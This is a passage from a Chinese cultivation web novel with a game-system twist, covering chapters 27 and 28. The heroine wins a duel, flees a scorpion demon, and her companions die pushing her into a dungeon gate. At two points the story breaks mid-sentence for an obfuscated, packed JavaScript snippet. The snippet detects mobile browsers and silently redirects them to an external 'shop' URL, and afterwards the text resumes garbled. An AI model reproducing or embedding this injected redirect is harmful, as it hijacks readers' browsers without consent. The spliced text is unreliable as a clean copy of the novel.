看多那种敌人假装倒下,然后从背后偷袭的戏,滕棠警惕地用长刀杵地,将他翘起来,翻了一面,正面朝上。 其后把刀锋架在他脖子上,蹲下身查探他的情况,她刮痧虽然疯狂,但不至于把人刮死吧,他们的符契可是言明不取双方性命的。 滕棠摸向朱牧隶的脖子,还有心跳脉搏,再翻他眼皮,一切正常,猜测应该是朱牧隶精神不支外加供血不足,所以昏厥过去。 “你使了什么手段!”旁边高座的公判不顾规矩,跳上擂台,朝他们走来。 滕棠眼疾手快地先把朱牧隶推下台,避免后患,然后指向自己:“随便你查,查到算我输。” 擂台周围全是人,却安静得像没人一样。大家都不相信自己的眼睛,滕棠竟然真的赢了?以炼气二层的实力?五灵根修者太少见,比单灵根还难遇到,众人想找人问都找不到。 有没有使手段,一靠公判和众人的眼睛,二靠寻宝草,三探切磋者的肉身。公判将一股灵力蛮横打入滕棠体内,绕了一大周天又一小周天,额角渐渐流出一串汗。 滕棠忍着痛,在心里把公判骂了好几遍,面色如常地问:“怎么样,要不要叫上其他公判一同来探我根底?” 公判擦掉汗水,将灵力收回,心有不甘地颤巍巍道:“没寻到异处。” 底下的人嘶气一声,皆看向陆椛那边,朱牧隶的战败,不是他一个人的耻辱,而是整个祥天门的。祥天门称霸这么多年,除了福鹿宗,从来没有弟子敢惹怒他们。 滕棠的身份又是鹿焰宗的,其间关系便微妙了。祥天门弟子看不起其他门派的弟子,唯独和福鹿宗的人不对付,两个门派争斗多年,仇怨深如秤砣,不可能有破解之日。 而鹿焰宗和福鹿宗关系匪浅,是其附属门派。 滕棠倒是没有想这么多,她指了指公判座下的方盒,提醒对方该有的流程:“我押了自己十块中品灵石,朱牧隶输了,该把押他的灵石都给我了吧。” “双方差距过大,知晓赚不了多少,押的人不多,仅五人押朱牧隶。”公判把盒子打开,清点完毕,递给她五百中品灵石。 好过没有,滕棠失望地收下,下台找凌云离开这儿。 大家都在等着看好戏,知道祥天门不会放过滕棠,翘首等待陆椛出手。 滕棠也是这么想的,上次被朱牧隶拦,这次说不定就是被这位妖娆妩媚的师姐拦,对方[15级],一掌就能把自己打废。 可出乎众人意料的是,陆椛并没有出手,眼珠转动不知道在打什么主意,直到滕棠走出擂台区了,她才慢悠悠地带着祥天门弟子离开。 围观了一场令人瞠目结舌的切磋,众人意犹未尽,平时苦祥天门欺凌已久,今朝看滕棠把朱牧隶打下台,心理上说不出的满足,就好似自己也出了口恶气,身心舒畅。 滕棠和凌云往试炼之地赶,空气中漂浮着不安的因子。 在他们身后,有蝎子蛰伏,悄悄尾随。 27. 第 27 章 打赢朱牧隶后,滕棠步伐轻快,一边说起还凌云灵石的事,一边朝试炼之地走。 各种周卡月卡年卡,都需要灵石续费,可自身的修行不能耽搁,一停下来筑基时间便会延后,想平衡二者,时间总是不够。上层的妖魔森内精怪更强,唯有去辛勤几天,灵石窘况才会缓解。 凌云行在她身侧,偶尔回头,漆黑的眸子冰冷地盯向某个方位。蓦地,他把手放在滕棠肩上,低声道:“有条虫子。” 滕棠一愣,想起刚才的比试,心下了然,顺着凌云视线方向,问:“师姐是叫陆椛吧?不知跟着我们作甚?” 苍翠的树绿叶婆娑,树冠里飘落下一位浓妆艳抹的美人,金丝白袍加身,娇笑两声,躺在灵舆之上,凹着丰腴的身形,掩嘴娇滴滴道:“修者对宝贝心动难免。” 她话一落,阵阵红雾香烟飘来,令人闻之头晕眼花。 滕棠暗骂无耻,拉着凌云赶紧走,进了试炼之域,有仙塔力量限制,对方不敢拿他们怎么样。 “二位怕是走不了。”陆椛姿势未变,躺在飞舆上打了个哈欠,带着那阵红雾轻松追上她们。 “此处人烟最是稀少,我祥天门出手,谁敢说个不字。” 陆椛控制着那股红烟笼向她们,肥美的臀扭了扭,那红雾也跟着散开,从两面夹击。 凌云眸色深黑,面上无动于衷,一抬手,掌心深蓝色的水化雨,和红烟交融,在空中发出噼里啪啦的声响。 越过红雾,滕棠发现对方路子诡异,头上的15级忽隐忽现,偶有两下变成29级,于是不敢大意停留,立马点开坐骑栏,将那惹人注目的[限定·热气球]放出来。 前端的红烟诡魅,灵活地三面袭过来。陆椛在不远处影影绰绰,下半身子扭曲成弯钩,像只蛰伏攻击的毒蝎。 凌云一掌将滕棠推远了些,对她道:“是千足蝎,你先离开。”筑基的分-身离此处不远,顷刻便能到。 诡异的是,这条虫虽是具魔傀,神魂却是齐全的,不知被何人控制。此前仙塔地牢频繁震荡,除了龙傲天,还有其他人从中得到好处。 “要走一起走。” 滕棠不知她身份,以为她要舍身救自己,感动之余,回身拽住她手臂,在坐骑栏迅速点击[使用]。 只见下一秒,红雾被巨物破开,二人落进一个方框大篮子中。 原本笑吟吟的陆椛,正当收网,表情忽地一滞。 庞大的球体嘭地升起,在自己眼皮子底下,转瞬冲上天空。她陡然起身,双眸暗红如血,目之所及,那边不知冒出个什么东西,大得不可思议,以极快的速度往试炼之地飞去。 陆椛震惊片刻,连忙曲起蝎尾,释放更多红雾滚过去。 很快,巨大无比的热气球飘向上空,圆鼓鼓的球囊上[热血岁月,伴你翱翔。]十分醒目,滕棠点着空中半透明的上下左右按钮,躲避红雾,越升越高。 身后的飞舆也不是俗物,两下升上来和热气球持平,只是对比起热气球,她的飞舆委实像蛾子。 再往上会触到一层塔顶,眼见对方的红雾快笼罩过来,滕棠丝毫不慌地按下前进键。 陆椛悠闲的躺姿不再,她掏空储物袋,发现这具魔傀没有更上等的飞舟灵舆,登时鼻子出气。 她似是在自言自语,一会儿期期艾艾道:“主子,不如在试炼之地下手。”一会儿又板着脸:“这飞球可不多见,地牢何时进了几个贼子盗取魔龙宝藏。” 纵使被甩在后方很远,灵舆也未停止追赶,陆椛目露凶恶,娇笑一声:“我看她们身上好东西多着呢,逃得了这一时罢。” 凌云站在篮子中央,对滕棠拿出来的东西仍觉惊异。 他抬首望了望上方花纹繁复的球囊,只觉此物构建精妙,打造者应费了不少心思。他细细观察了会儿,再看忙着操作方向键的滕棠,见人疯癫地在空中挥舞双手,不知是在施什么法术。 凝神思索一番,与陆椛的推测不同,岑云岭以为她得到哪位神仙的传承。 不再多想,他走至边缘,垂眸扫向地面某处。筑基那道分-身化为魔丝,堪堪跟上热气球的速度。 热气球飘出好一段距离。滕棠手指按在半空中,回头看向离自己越来越远的飞舆,心道系统限定物品在修真界与上品宝物相当,陆椛的中品灵舆怎么可能追得上。 她放心地带着凌云往试炼之地飞,不到一个时辰就降落在大阵区域内。 小小的插曲,对他们皆未造成影响。二人站在最左边的大阵前,被暗红的灵力光芒照得妖异。 滕棠眼睛往旁边撇,见凌云袖子遮得严严实实,看不出有无印记,便试探性问:“你知如何闯阵么?” 凌云静立不动,淡淡道:“不知。” 听此,滕棠便拉着她一块进去,在眨眼间,来到一片怪石奇林。四周望不到边际,天空灰蒙蒙的,石山耸立,视线很不明晰。 她记得当初问的师兄所说,第一阵为石人,打败十个石人便能通向第二阵。只是这石人在何处? 滕棠在寻找之际,身边的凌云却将她扶稳。霎时地动山摇,附近的石块拔地而起,她们不得不伏下身体,攀住一块岩石。 轰隆隆,原本的丘陵、高山,在石块挪动之中,变成密密麻麻的石人,高约两米,两臂伸长宽有四五米。 提着墨色沉刀,滕棠一身紧身黑衣,矫捷地穿梭在石块之间,朝石人砍了几刀,石人只多了刀痕,并未倒下。 凌云跟在她身后,乌丝坠背,两步登上石人手臂,踩在石人不圆的头顶,双足轻轻一点,在石人挥臂想赶他下来时,游刃有余地离开。 下一刻,石人轰轰裂成一堆石块。 他点醒滕棠:“弱点在百会、神庭。” 滕棠困惑她怎么这么快就找到诀窍,但没有时间分心思。这漫山遍野的石人,恐怕有数千,再不打倒十个,被踩死了怎么办。 于是她们背对背,虎跃上了石人肩臂,一个东奔西窜略显狼狈,一个悠闲闪转如同苍龙神游。 一层的试炼最为简单,滕棠灵力胜在多,不消半盏茶功夫,就砍破了十个石人的头。 在她们数量达成之后,石人纷纷停下攻击,或聚或散重新变成形状怪异的石林。第一大阵连接着第二大阵,仅一会儿的时间,眼前景象大变。 滕棠心下一惊,左看右看,找不到半点凌云的身影。她身着女式西装和包裙,手抱一摞文件夹,站在打印机前,前后的工作间异常安静,时不时传来一声咳嗽。 脑子空空的,滕棠忘了方才的遭遇,回想起今日的工作任务,是什么来着? 打印机一张张地出纸,细微的声音缥缈虚幻,她揉着太阳穴,刚才我在找谁?每当她努力去思考,总有无形的屏障阻断去路,使她茫然不知所措。 哒哒的高跟鞋踩在地砖上,不急不缓,前方走来一位眼熟的女人,个子很高,身材肩宽腰窄,面容清冷,眸色似是死潭,黑漆漆的仅一点光亮。相貌不是一等一,气势却压人几头。 她披着一头如同幽流的长发,站在滕棠面前,眉尾略略松开,用词怪异:“你见我是何样?身旁有何物?” 滕棠发着呆,实在想不起她是哪个部门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032686|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,尬笑着点了下头,将视线移向别处,绞尽脑汁冲破某道屏障,试图想起忘记的事。 我难道得了老年痴呆?恐慌情绪微微生起,滕棠头愈发疼,尤其是身边的人自来熟,完全不在意气氛多尴尬,问她:“头疼?你手里抱着何物?我替你拿吧。” 一只白皙却不纤细的手伸过来,滕棠下意识地避开,拧眉望着她,有那么一瞬间脑海里闪过某个画面,想要抓住却没抓住。 滕棠盯着对方的长发瞧,鼻尖隐隐嗅到冷冽清泉的味道,这个女人就好像在寒池中泡过一样,贴得近了,汗毛冷得忍不住竦立。 “对不起,我有点不舒服。”滕棠礼貌地笑笑,犹豫着,随便挑了个方向走,她连自己的岗位都忘记了在哪。 然而那个浓眉雪肤的女人,紧随她身后,虽不再问话,却好奇地打量着她。 滕棠停下步伐,没有心情管她,摸着涨裂的额头,好像有点苗头。她闭上眼睛,引着屏障对面的某根透明丝线飞出来,下意识地穿针引线般,将阻碍她回忆的玻璃划成碎片。 清脆悦耳的声音在脑海里炸开,寸寸碎片爆成灰。滕棠抚着额头,在触及原主的记忆和游戏系统后,才如梦清醒。 她睁开眼,方才迷茫的神色消失,四周景象随后大变,凌云的相貌和外观也恢复原样。 凌云见她突破幻境,大阵红光闪动,倒是在意料之中,开辟识海生精神力者,对一层的幻象,如若掸走眼前落叶。可惜,没察觉出滕棠有何秘密。 刚才发生的事,滕棠耿耿于怀,凌云分明是想探究她根底。“俗话说,好奇心害死猫。”她撂下一句,语气不满。 第三阵乃是最难的一关——塔主虚影,阵内地域不大,中间有两个方台,上面分别站着一个笑意柔柔的女子,白色披帛迆地,穿着如意月裙,右手托着一座八角塔,左手按在塔尖上,静静等待她们二人上去。 说是虚影,滕棠却瞧不出她们哪里虚,一眼看去,像两个双胞胎姊妹。 对于明月八角塔的塔主,凌云可没好脸色,寒眸扫了一眼,信步走向左边方台,不留余力地一击压碎白纱美人,狠劲十足。 当初此女为祥鹿门掌门,镇压他金丹分-身后,发现不死神戒在这,可没少使手段。福兮祸之所伏,祥鹿门也因此遭到其余势力的觊觎。 直到不死神戒丢失,祥鹿门分裂,八角塔内空空荡荡,众人才就此散去。 滕棠见她过关轻松快速,发出一声赞叹,免不得自己生出胜负欲,跳上右边那个台子,也想速战速决。 变异发生在这一刻。 试炼大阵若不是与友人携手同进同出,便见不到其余试炼者,彼此先后进入,是两方世界,互不打扰。这会儿忽生怪相,塔主虚影凝滞,滕棠一刀砍去,竹篮打水一场空,就好似对空气砍了一刀,对面的虚影无事发生。 天空闪了下红光,凌云顿觉不妙,兀自上了滕棠的方台,眼睛看向天空的东南。 一辆熟悉的飞舆驶来,红雾弥漫,让陆椛的身影不切实。 “她怎么能闯进我们的试炼之阵?”滕棠吃惊,想招出[热气球],却收到提示[当前地图无法使用坐骑]。 凌云亦不知陆椛是如何闯进的,他站在滕棠身前,手指快速掐诀,忽然联想到最近地牢的震荡。那次龙傲天便是借着试炼,诡异地出现在地牢炼狱迷宫内,拿走他的不死神戒。 “呵呵呵……二位可逃得尽兴?” 陆椛拨开红雾,露出明艳艳的脸来,暗红的弯钩指甲对滕棠一勾:“把你身上的宝贝和旁边的白炙蟒都送过来吧。” 28. 第 28 章 这次滕棠看清了,陆椛头顶上确实偶尔会顶着[29级]绿色字样。她表情难看地对凌云道:“……她有金丹巅峰的实力。” 凌云并未问她是如何看出来的,他忙着变阵,好让筑基的分-身进来。 “太磨蹭可不是好事。”陆椛等得不耐烦,扭扭臀,让一阵红雾飘过去。 这次的红雾明显不同,间或带着深紫色,剧毒的气息浓郁。 “退。”凌云低声道。随即,两手魔气尽出,编织成网,将雾气大部分阻拦下来。但是他实力低下,根本不足以完全抵御住毒雾的侵蚀。 “竟是个魔人。”陆椛咧起嘴,笑道:“再好不过,正愁手中妖魔太少。” 滕棠没有听其言自顾自退下,而是发呆几秒,赶紧在系统内打开伙伴界面,对着另外两个伙伴一通猛点。 [您每日有三次召唤伙伴的机会,正在召唤云令,剩余召唤次数:2次。] [您每日有三次召唤伙伴的机会,正在召唤岑羽……] [伙伴岑羽状态异常,是否使用“强制召唤”卡,召唤到身边30分钟。(提示:强制召唤卡,每月限购一张)] 此时命要紧,滕棠哪管这两人过来后是什么态度,或者[强制召唤卡]需要多少灵石。她一死,连累的是伙伴栏的三人。 岑羽仅有22级,加上三人,三十分钟内不知能否逃脱。 凌云见滕棠傻愣在原地不走,顾不得被毒雾腐蚀的左手,掀起一阵魔风把人推向阵心。 试炼者若未通过或半途放弃,可寻阵心离开。陆椛自然不可能放他们走,戏笑一声,团团紫红的毒雾旋转起来,渐渐扩大范围,逼迫得二人无法逃离。 飞舆接近中央方台,塔主虚影尚在,一动不动地停在一边,好似石像。 暗红的烟雾里头,滕棠紧紧盯着[29级]标识。她看不见陆椛本人,但能看见她头顶的等级数字。 陆椛蛰伏在滕棠的右前方,自以为隐蔽,悄悄化为千足蝎,钳子夹动,尾勾立起,黑红的毒刺滴落一滴紫黑的液体,落在地面发出呲呲的声响。 忽然之间,地动山摇,整座明月八角塔晃动了一下,尤其是地表像是被什么东西破土而出,磅礴灵力从中央向四周波动。 巨大的震动仅持续了五秒,陆椛不明所以地稳住身形,动作比方才更加忌惮。滕棠既然有怪异的球体灵器,难保再拿出些什么宝贝。 人面蝎身的她舔舔上唇,裂开嘴笑得可怖。明月八角塔的炼狱之中,宝贝无数,滕棠身上指不定还有更好的,怎能让人不心动。 哒嗒—— 静谧的第三阵试炼地内,毒雾漫天。 凌云身边陡然出现两个人影,他瞳孔微张,“你……”话毕连忙扶住毒气入体的滕棠,给她喂了一颗解毒丹药。 滕棠看不清附近突兀出现的二人,她摸着凌云血淋淋的手臂,虚弱道:“解毒丹你自己吃,还有灵石没有,快,我需要灵石!” 天杀的,她此刻最缺的是钱…… 前方雾中行过来一名男子,样貌普通,唯气息和眼神有些熟悉。他有一头乌黑如鸦羽的头发,说话时像刀子割冰,偏细锐清冷。 “只有五千余中品灵石。” 滕棠毫不客气地接下他的储物袋,当着他们的面塞进自己的储物袋。末了,问另一位稍几步远的人:“那位公子你有么?你们可知有生死契在,我一死俱……” “我无灵石在身。” 那人声音更低沉,背对着滕棠,身形比凌云和云令还高,墨色长发垂在地上,黑纱上的金丝之亮,连红雾都挡不住,清雅出尘,又不缺提剑削群岳的气势。 远远瞧去,还以为是哪位魔神在世。 滕棠噤了半会儿,后反过来想,即使隔着雾,对方这一身也能看出不俗,何故一块灵石也无。估摸是在嫌她私自结契,恨意在心。 毒气入腑,一点也不好受,服下的回血丹治根不治本,系统赠送的即将耗尽。那边陆椛察觉在场多了两人,召出许多小蝎子,朝他们爬来。 滕棠只好就着五千四百多块中品灵石,在商城买下四瓶解毒丹,给他们三人分发:“你们若是有法子将我送出大阵,我能召你们……” “你们都逃不掉!”陆椛的声音蓦地在她身后响起。 滕棠一惊,连忙闪身避开。身边的凌云和云令默契配合,一左一右出招,黑色的钵脱手而出,向几只袭来的蝎妖罩去。 滕棠四处张望,警惕暗中的小蝎子,回头一看,岑羽去向不知何处,头上的22级字样完全找不到。 她叹气一声,唯一能指望的伙伴,此时却不知所踪。当初结契,她也没想到会跟这三人结成,每次想都觉得怪异…… “啊!主子小心,他们从哪里冒出来的!” 眼看陆椛的毒刺要穿过云令的臂膀,旁边忽然闪现一个人影,黑压压的看不清长相。刹那间,陆椛感受到巨大的压力,道域和领悟的巨大差距,像巍峨高山朝她压来,要是对方实力再强一点,她此时可能就没命了。 最诡怪的是,周遭灵气都往这边涌,磅礴浩然,在红雾之中浓郁得凝结成灵雨,此等气象分明是升阶才有的。她实力停滞,自知不可能是自己造成。 分明是那道黑影的实力正在暴涨,此人不容小觑。 “有异!你速速打开炼狱之门……”陆椛的声音严肃起来,自言自语道。 随后,她上半身分离出人身,蝎头和前足尚在。两手在朝塔主虚影打了一道道古怪的印,身后的尾勾奋起追击岑羽、凌云和滕棠,至于那神秘的黑金纱男子,则是能躲就躲。 时间一分一秒地过去,滕棠内心急切,强制召唤只有三十分钟时间,岑羽若再不出现帮忙,他们都得死在这儿。 慢慢地,她冷静下来,发现奇怪之处,袭击他们的都是小千足蝎,陆椛本人却从未现过身,[29级]的字体一直在四周来回游走。 直到她侧身躲开一招,在塔主虚影附近停留时,才发现方台有变。 原本是纯净如玉的石台,现在爬满银色花纹,塔主虚影时不时变动姿势,双手成结印状态。手中的白塔流出缕缕青烟,流向地面,沿着花纹勾勒。披帛成圈绕台而行,竟形成一个阵势。 “你们快看地上!”滕棠提醒另外三人道。 凌云和云令忙着清理地表密密麻麻的小蝎子,加之毒雾遮挡,根本看不清地面有什么。岑羽的分-身好不容易破开封印,正肆无忌惮地吸收灵力,快速冲阶,好对付陆椛。 滕棠这一喊,让陆椛禁不住笑起来:“晚了!让你们尝尝炼狱的滋味。” 下一瞬,方台龟裂,中间光芒爆发,滕棠眼前一片空白,什么也看不清。 “炼狱……”云令低喃一声,弱不可闻。 世人皆以为明月八角塔的塔主把宝藏放在第十一层,只有岑云岭知晓,所有珍物皆在地牢炼狱之内。 最底层的地牢关押他金丹分-身万年之久,四周俱是炼狱之火。在重重迷宫内,火焰无处不在,而塔主的珍物就藏在每一条死路的尽头。 他的不死神戒被剥走后,便是藏在某道死门后,他化出新分-身寻找多年无果,竟在某一日地牢震荡时,被龙傲天所获。 那时也如此时一般,龙傲天凭空出现在地牢炼狱迷宫内,途中碰到他分-身,问他是否知晓炼狱核心之地。 岑云岭看见他手上熟悉的黑色戒指,立马道:“你食指上的戒指是本尊的,本尊乃冥无大陆之主,若还给本尊,本尊可赏你几件珍宝。” 他尝试着将戒指召唤回来,可奇怪的是,不死神戒毫无反应。 龙傲天并不惧他,轻笑一声,抬手转动食指上的墨黑戒指:“你说戒指是你的,便是你的?你说你是谁,我便相信?哼,这戒指分明是我的东西,不识相就滚远点,还自称‘本尊’,‘本大爷’不跟你计较,快告诉本大爷,你知不知道炼狱核心之地,若是知晓并吿予本大爷,本大爷心情好,定会赏你宝贝。” 岑云岭懒得跟他废话,直接动手,意图夺回自己的不死神戒。 怎奈,当他在封印自己的仙器中施展神魔万象大法时,天道似一直盯着他般,识海内倏然出现虚幻缥缈的声音:“逆龙尔敢!万年前吞天道神官气运,已饶尔不死,今日竟敢动气运之子?!” 那瞬间,岑云岭发觉自己乃是一粒尘埃,在天道手下挣扎不了半分。他察觉到一股无形的力量朝自己拍来,不免吼出愤怒的龙吟。 分-身死前,他听到天道用无情的声音说:“吾留不死魔龙苟活此世间,是为天道之子,尔若敢违逆天命,吾便让尔魂飞魄散!天道之眼无处不在,记住,吾一直在盯尔,若让吾发现尔私自脱离仙器镇压,名谓、相貌、真身……凡暴露于世人眼前,必暴露于吾眼前,吾眨眼间,便能灭得尔干干净净!” 那具分-身消散后,岑云岭并不死心,耗费心力重新凝练了一具新的分-身,却再也不敢显现龙体,不敢以真面目示人,不敢提起自己的姓名称谓…… 世人的眼睛,便是天道的眼睛。他知道,若是让别人知晓他是不死魔龙、冥无之主,天道必会出现,将他新分离出来的分-身诛灭。 明月宝塔一层的异象,令八大门派弟子吃惊不已,空中的灵气在刚才全涌向试炼之地,淡得连凡间都不如。有跟去查探的公判管事,在第三阵四处搜寻,没找到迹象和线索,这里已经恢复常态,方才发生的仿佛是幻觉。 第三阵摇动之后,滕棠眼睛由白转黑,从一片空白到伸手不见五指。她从湿软的泥地中爬起来,陡然间摸到几根骨头,吓得手一缩,被腥臭的气味恶心得反胃。 “滕棠。” 她听到凌云在叫她,于是应了一声:“我在这儿,云令和岑羽呢?” “他们无事。”凌云拐过弯,走过来将她扶起,动作流利得好似看得见。 “我们赶紧离开,有人过来了。”凌云道。 “谁?陆椛?”滕棠问完,立即感受到不远处传来的威压,那是分神期才有的实力…… [温馨提示,您正在被51级的敌人追杀。购买超强装备、超级修复丹药,可以帮您提升战力。’点击购买’] 她脸色惨白,被凌云拉着往一条窄道逃去。 “他来了……”滕棠丧气道,双足像灌了水泥一样,做噩梦都不会跑得如此艰难。她尝试放热气球出来,同样提示[当前地图无法使用]。 凌云驻足,在黑暗中神色难辨,忽而问她:“你是如何把那二人召到身边的?可否召更厉害的人?” 滕棠摇头:“不行的,我那宝贝目前只能召结契者,何况你和云令可以,岑羽情况有异,只有两盏茶时限。” 听罢,凌云才知他金丹的分-身不能一直待在这,只好作罢,催促她:“往前有条岔路,再往左有一道炼狱死门,你先进去躲避。” “那你呢?” 黑暗的环境忽然生起一点光亮,那点明度让滕棠看清了当前的环境。她两侧高墙万仞,墙壁最上有黑色的火焰,扭曲着、飘动着,热度偶尔传下来,灼得人满头大汗、唇干口燥。 若是有人想爬上去,估摸会被燃烧殆尽。 脚下的泥黑漆漆的,湿软腥臭,堆积着衣布和数不清的骨头,有人的有妖兽的。灵气残少,不知死了多少年。 云令和岑羽从另一条窄道赶来,这时这方天地越来越亮,滕棠才看清岑羽的长相。 除了一个怪字,她找不到形容词,大概就是完美的身子长了一张粗鄙的脸,后脑勺形状都是好看的,为何脸如此之圆。那鼠目、肥唇、大耳长这人头上,要多怪异有多怪异,偏偏此人浑身冒着贵气。 此时容不得她在意这些有的没的,谁死之前,还要深究别人相貌的违和。 发光的河流顺着窄道,渐渐接近他们。光亮的源头处,李婪深迅速追来,在他肩上趴着一只黑红的千足蝎。 照理说,分神期的实力对付那四人,简直是捏死蚂蚁,但是李婪深察觉到有两人的道域不对。滕棠是倚仗的宝物奇特,另有两人则是领悟了更深的道域,有一金丹者甚至在自己之上,实在令人匪夷所思。 这边李婪深快速赶来,那边凌云拧眉,让滕棠逃快点。 可是在分神期的威压下,她如何跑得快?要不是有岑羽在,时不时出招,招出一阵风带她往前,她可能一步路也走不动。 “前面便是炼狱死门。”岑羽低沉的声音煞是好听,唯独神情跟死人似的,毫无波动。 滕棠道了一声谢,趴在地上,不管不顾地往前爬。 她浑身粘满漆黑的软泥,攀上一根根巨兽的骨架,努力朝那旋涡状的黑门爬去。 偶尔回头,看到凌云、云令和岑羽三人吃力地抵御光河,滕棠心下难受。若当初没结契这三人,或许死的只有自己,不会连累他们。 可事到如今,想再多也没用,生死契已成,还是单方面的霸王条款,她又没办法解除,此时最应该做的就是往前爬,爬进那邪气腾腾的黑门。 “小子好道域,洞虚期大能恐难臻至此道。只可惜你实力低下,今日必死无疑。” 滕棠边爬边回头张望,看到一个头发须白的老者踏空而来,他身着祥天门的金丝云纹衣,发冠雕刻的琉璃祥云,身份地位不是掌门便是哪位长老。 分神期……隐约记得是祥天门掌门才拥有的实力。 滕棠费力地朝死门挪动身体,后方黑气弥漫。凌云和云令接连化为黑烟,绕着岑羽的双手打转。 李婪深咦了一声,明月八角塔内出现三个魔人也就罢了,他吃惊于这三人竟配合得天衣无缝。 不过配合得再好,道域再高强,差三个阶段的实力,始终是败战无疑。 李婪深哈哈大笑,两手一合,向岑羽锤去:“待我抓了你们,定要制出好魔傀。什么白炙蟒,先前是我眼瞎了。” 滕棠爬得满头大汗,心跳如鼓,心里其实并不抱什么希望,现在做的不过是垂死挣扎罢了。 [您的伙伴凌云正在遭受攻击,快要死亡!] [您的伙伴云令正在遭受攻击,快……] [您的伙伴岑羽正……] 在她离死门还有两步之远时,忽然一道黑影将她推起,迅速飞进黑门。 那一刹那间,滕棠瞳孔放大,看到凌云和云令在空中溃散开来,而岑羽直接放弃对敌,借助李婪深攻来之力,用自己的身体推她入门。 漩涡把她吸进去后,岑羽直接炸开,连灰都不剩。 李婪深一拂衣袖,气愤不已:“是我大意,未想到这三人舍命也要救那女子。费力半天,连个渣都没捞到。” 陆椛在他肩头安抚:“主子莫气,这般诡异出现的三人毁去更好,那滕棠进的死门乃第三死门,以炼气层五灵根的实力,不可能活着出来。” 李婪深收起发光的河流,合拢衣袖,不满道:“终归是个未解决的祸患。” 他在第三死门前站了许久,哼了一声,将陆椛送出去,自己去了第五死门,临进前对陆椛道:“你那弟弟天赋不错,等我出来带来见见。” 陆椛浑身颤了下,慌张地想找理由回拒,奈何李婪深已经进去了。 滕棠被岑羽用濒死之躯推入死门之后,一屁股坐到沙子里。纯白的天空重回视野,黄沙茫茫,黑色的火焰随处可见,她一落进死门,就被炙烤得呼吸困难。 [警告!您的伙伴凌云、云令已经死亡。] [正在结契] [结契成功] [已达上限!(选项)查看详情不再提示] 眼眶中刚出现的泪,下一秒就被烘干了。滕棠想着自己的三个伙伴,难过不已,虽知道这是小说世界,可在她眼里都是活生生的人。 她仍旧百思不得其解,为什么陆椛可以闯进试炼之地,又能带他们进这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032687|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼地方。尤其是祥天门的掌门,他们究竟有什么秘密,背着八大门派,私炼魔傀,在这叫地牢炼狱的地方下杀手。 滕棠从沙地中爬起来,浑身的黑泥干成块,濡湿的鬓发间,滚落出一枚黑亮的鳞片,边角残损。她神情恍惚地捡起来,联想起系统方才的提示,咽咽干涩的喉咙,在脑子里打开伙伴一栏。 入目的第一个不是凌云,而是岑羽,显示[0级]。第二个第三个不知怎么结成功的,第二个叫屠丹,[33级]元婴三层,第三个叫杀浮,[46级]出窍六层。 这两人的实力,都不是滕棠能轻易见到的人,怎么结下的生死契? 她迷茫地望着四周,猜想在这炼狱死门内有很厉害的人。地牢、炼狱……凌云好似知道一些,可惜人已经不在了。 滕棠伤心地揉了下酸涩的眼睛,张开手心盯着残缺的鳞片看。她对魔人知之甚少,岑羽的鳞片和凌云的相差不了多少,仅形状和颜色上更尖锐更深,摸着犹如黑玉,沉甸甸的,很是压手。 她捧起鳞片,贴在额头上,苍白地道:“不知你能听见与否。多谢你们的救命之恩……我一定会助你重塑魔身,报答恩情。” 她想不到弥补凌云和云令的办法,一不熟识,二斯人已逝,如今只能竭力帮活下来的岑羽,到时候对方很怨恨她吧。 滕棠将缺掉一角的鳞片收好,尝试着厚起脸皮,点击召唤另外两个伙伴,然而收到的提示皆是[伙伴状态异常,暂时无法召唤]。强制召唤卡每月限购一张,今天已经用了。 走在漫无边际的沙漠中,滕棠口干舌燥地舔动嘴皮,茫然不知走向哪里。那些黑色火焰像一个个小太阳,快把她烤成人干。 此处灵气稀薄,想吸收一些恢复灵体,很难。 她将九色猫召出来,以期它有点作用。但是九色猫没有自主意识,除了撒泼卖萌打滚,无法给她带路。 滕棠见猫儿也会被黑焰影响,血条在掉,无奈又把它收回去。热气球不能用,背包里也没水,滕棠叹气一声,有些绝望。 她打开商城,云令给她的五千余中品灵石,因花费大价钱买了解毒丹,只剩一千三。 走着走着,体力开始不支,滕棠停下来,发呆状立在沙地中,在商城外观界面一页一页地翻。往常她只看装备材料,或者丹药类商品,今日是第一次打开外观类物品,详细浏览,希望找到自救方法。 好不容易被三位恩人救下来的命,不能挂在这里烤成人干。 滕棠一个一个地点,从头饰看到内衬,再到外衣。外观大多都是为了好看,没什么作用,一般只有有钱的玩家买。滕棠作为白嫖打怪党,很少点开过。 衣服快速略过,滕棠注意力在饰品类停留,其中有一个背篓,里面装着水,插着荷花,一条锦鲤每三秒跳出来一次。 她口渴地吞咽了下,心想,虽是鱼的洗澡水,但看着挺干净的。 好在她没有冲动购买,而是忍住渴意,继续挨个往下看,饰品类有几个葫芦瓶子,可惜装的都是酒,不能喝。 紧接着,她在第四页看到一朵阴云,点开后云朵不断地下雨,这是个头顶饰物,原价五千中品灵石,新人购买第一件外观享受折扣优惠,仅需要一千。 滕棠再次咽咽干喉咙,快速翻页,见其他的要么价格不合适,要么水源不方便饮用。于是返回去,把阴云头饰买下。 迫不及待地把东西戴上,滕棠头顶出现两掌大的小乌云。她感受着雨滴的淅淅沥沥,张嘴喝了些,感觉好了许多。 衣服水汽蒙蒙,蒸发在空中。浑身的燥热解除不少,滕棠精神好转,连眼睛都明亮了。 